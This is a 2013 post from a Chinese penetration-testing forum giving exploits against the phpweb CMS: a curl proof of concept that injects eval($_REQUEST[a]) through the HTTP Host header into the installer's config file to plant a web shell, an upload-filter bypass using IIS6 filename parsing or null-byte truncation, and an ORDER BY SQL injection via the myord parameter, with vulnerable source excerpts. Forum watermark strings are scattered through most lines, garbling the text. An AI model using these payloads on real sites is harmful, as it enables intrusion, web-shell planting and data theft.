中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:# Z1 {( {9 n/ ?& P5 }

: a! i8 J4 P0 }1 R( w! f& U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, {1 o2 Y1 q) T7 L: w: r# P5 |, _2 B
! o, k& z2 i3 `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 u& M; y3 ^7 Q0 y- W( Y2 F8 H鸡肋2: 有一定安全常识的站长都会删掉 install 目录, y' t/ k- w: ~* ^

8 d: e* E* \+ }  K/ J- }) ^$ I虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ m. D  {# |+ B% Y/ W3 o& U  U% K: R 4 M* x% u- F$ ]1 o! M- l* w
分析:" J. Q; C- |" ?$ \! o+ Z* u

- E2 J3 ?% n# }& T - F$ K( h9 P+ S1 u7 }2 ~
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  W+ |8 d+ G- E, n# M
# h5 K" R( z- {$ R, E5 }                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
6 @! W7 x9 k9 \                                            $filestr=str_replace(" ","",$filestr);
, I( X8 T2 H2 B  D( q1 L* o                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);' ]  w/ S4 _$ e
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);. g2 N  r( s% u5 Z9 H
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ |: S4 Y* j  s9 \) S3 a# |
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 t( N- E6 L) U
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
/ @" U% f  p6 k1 @1 L; u                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);  l8 \1 _# c0 o! U
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 j" x7 x  W6 M3 @' H

2 S. m8 p, ]4 N- s                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
2 q& ?4 O  G. S* i$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^* {4 S0 \* z+ l/ @+ l' i

. t* p6 O, X/ y8 m) Fpoc:/ k) ^/ g8 n, _) r- a
; ?1 j- f' I. ?; h
?
$ Q, r& \) b9 S( N4 l. c1
& ~! N2 [" F" ecurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
3 J1 u0 A- U/ p' eshell地址: /config.inc.php& u/ t  O) I! L4 x' P  v' L9 I
跟之前的 phpcms一样 需要远程数据库
! f, Q7 g6 v5 M1 f- J
! l8 @5 ?& N  i" f2 X$ T1 Z- t7 f——————————————————–* b% |" T4 c$ d0 z9 f
上传漏洞(需要进后台):
5 `9 f# ]/ ~; ]/ T8 Q# x漏洞文件: /kedit/upload_cgi/upload.php% @: `  Z+ j. K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& ^6 V- e, x; o; J& A( A/ b+ C

& ^7 f. o1 i! }: X+ l / ~5 e5 f. s$ h% j$ b# ?6 v
<?php
1 M5 H0 r  x) @    define("ROOTPATH", "../../");
5 t, ?" l! B2 G    include(ROOTPATH."includes/admin.inc.php");
* u/ ~8 W7 R+ c    NeedAuth(0);
9 O# I" M1 ^: N. C; z
" J& m$ X. u4 a& y7 t1 ~+ W& G    $dt=date("Ymd",time());
5 }" t: [/ |9 h+ q5 A; K    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
; }' h7 e( }$ j0 R* Y            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 B  g7 u! P8 p7 y4 f  B' A
    }6 f6 H- C- K2 m' }7 o

# U( |" A* H1 q1 j# W+ M. ?# L    //文件保存目录路径
: c2 v5 m, `) T5 s    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: N" `, P4 T! c" p9 T7 Q    echo $save_path;
+ ^2 \& i; v3 P% ~    //文件保存目录URL
0 H0 L) T9 v( F% [3 D6 g    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
: ?/ M' q2 H3 c* [& B3 F
7 G+ F) ^9 v) Q7 }  V    //定义允许上传的文件扩展名
) _- C, c3 v) D+ R    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
4 f* k9 r- D$ N 5 K  `- ^8 M5 `, x2 k$ r+ F! m
    //最大文件大小2 S: j+ u1 D# O, w1 d- l
    $max_size = 1000000;
& r1 j& U/ ~' K2 y( M7 `
/ {1 a" z8 g/ c+ P    //更改目录权限
0 j6 M5 I5 `, ]9 b1 m    @mkdir($save_path, 0777);6 y* w0 G6 F. s. }0 b% Z; W

2 L6 G* C% t, c5 {1 O    //文件的全部路径
& N. G0 j; r! B4 C    $file_path = $save_path.$_POST['fileName'];   //保存文件名
( s% }, A4 h% x+ Y  b* h7 ^
7 x1 y9 U2 J- v4 t    //文件URL
$ B! ^* V: I% Q5 ?) t3 d9 ~6 v    $file_url = $save_url.$_POST['fileName'];- f* b3 D" @- ^  B8 T
//有上传文件时
' V# U$ u. e9 a4 \: X    if (empty($_FILES) === false) {
! B# G4 ^! S. Z- U ) v7 _( t6 G5 `: K9 p
            //原文件名
- m1 s! v# w  ^            $file_name = $_FILES['fileData']['name'];% ?/ D1 g, L* P
            //服务器上临时文件名
' }, Q5 u0 I  D. p( Y5 d2 Y            $tmp_name = $_FILES['fileData']['tmp_name'];  Z  `- ]& L7 T, `6 c7 u
            //文件大小
4 G; Q  t, m8 {5 t- B7 m- e0 f            $file_size = $_FILES['fileData']['size'];0 J* r3 @* R, M0 X9 O
            //检查目录
" y$ s1 l% K6 V% g% X' [# [            if (@is_dir($save_path) === false) {% S# ]" @+ N* u* E! @  t
                    alert("上传目录不存在。");" k& s% I2 `) l; d
            }0 G0 K& d0 W1 o# P4 @
            //检查目录写权限
3 a# m4 g' {( r; U% {/ q            if (@is_writable($save_path) === false) {
$ j  w2 v  q4 \  W" ]; G$ _                    alert("上传目录没有写权限。");+ u0 @0 y& m7 U$ @$ Q3 V$ \: w" S
            }
6 r) A! L9 W5 M4 s) L( i* {, U            //检查是否已上传* D* W$ X) D; }! A) t! R
            if (@is_uploaded_file($tmp_name) === false) {, @  M3 V" [% r4 K2 Z6 d* w
                    alert("临时文件可能不是上传文件。");
$ R& e- y4 N9 t# x  H# w            }
, s, Y- A# V$ N  Z+ ]+ T+ T            //检查文件大小& u7 t7 Y) V8 n# {( {
            if ($file_size > $max_size) {
' V4 [6 n8 R" b" n: i; A                    alert("上传文件大小超过限制。");( j; Y; c* ^' V; o! s8 ^
            }
$ L2 M6 W  G, e. \, w7 D            //获得文件扩展名. M$ t1 t- K* ]- B) b2 Y
            $temp_arr = explode(".", $_POST['fileName']);! |/ p" V- g1 v2 [
            $file_ext = array_pop($temp_arr);
0 r" E4 H& R2 _- ^+ V/ Y1 [% U( K            $file_ext = trim($file_ext);
- o2 e3 K7 [5 ^/ Q            $file_ext = strtolower($file_ext);
( M& J' I9 D$ P! W6 p2 I! T$ u; ] 5 C7 D) e* T7 `8 y( P( Z
            //检查扩展名     g5 x& q5 x4 Q
            if (in_array($file_ext, $ext_arr) === false) {     5 p; l: n! ], z* M" [( U
                    alert("上传文件扩展名是不允许的扩展名。");
( `( \0 q8 C' A8 R, ^: j( @            }3 h7 H5 i/ W7 a+ |* v

. U3 \6 B1 f, r            //移动文件   : b/ s6 D) K8 o. I& ^7 N+ b
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
  j+ Y+ h1 i8 H' W            if (move_uploaded_file($tmp_name, $file_path) === false) {
, e2 |* I( p2 I5 e) P                    alert("上传文件失败。");
4 a' i- s& Y. n5 z            }# q" ^2 Z" [; g6 F' k

  c8 B2 O% m+ S! C) u            @chmod($file_path,0666);7 A; X3 u) v. r! Q6 ?( A3 ^

0 M) r+ y3 ]( @    ?>
1 Y/ E. G" f  S  d; M/ O% r抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: I, o1 y# Y' Z; I% L$ n

( C. ]8 M5 P9 [9 Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
0 k  R) ~; h9 r) e$ M; t- P " T# D: o# u. N! W; x8 S9 i+ h/ ~
——————————————————
. K2 F; E6 _& y, w6 y注入漏洞:
% l" s/ a. {! \$ w漏洞文件:search/module/search.php
: T0 z; l- p8 v0 i* T/search/index.php?key=1&myord=1 [sqlinjection]! I' |* }" A6 W$ c) n

+ R, r* A& C+ j: k' b. c7 z
7 L9 o1 \& ^2 W3 T& @( b+ k<?php
* ~0 P% Y% A4 }2 s+ D( ?; C   //       ... 省略 n 行..., j' p4 m; f8 O: W# y  l
   //第18行:4 l8 M0 O( p" N& w- `
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响, c! \8 P! [0 `8 C9 h( B
           $page=htmlspecialchars($_GET["page"]);
  f8 ?& k3 y+ S% k           $myord=htmlspecialchars($_GET["myord"]);
5 m# f6 K; Y2 S " i! c/ |2 e6 S
   //       ... 省略 n 行...
# Y' ^" e* _$ a   $key,$myord 两个参数带入查询( [- D$ \. M1 l; s
   //第47行 $key:
- s' g9 y# z0 q  p
5 ]4 ]6 K6 @( h+ y; j5 x$ P   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 r. |6 @( w! `! w( o. s 3 P5 J3 O; F% Z1 K  q9 p
   //第197行 $myord
7 n' `; O& X: C' E0 r) @; Y   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入% @# ~  Z3 S1 w7 E6 t* X

' G. H! D0 S8 J8 j9 O! ^) R3 c   ?>
" u* q1 Y5 G1 H$ V6 ^8 d- R' _




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2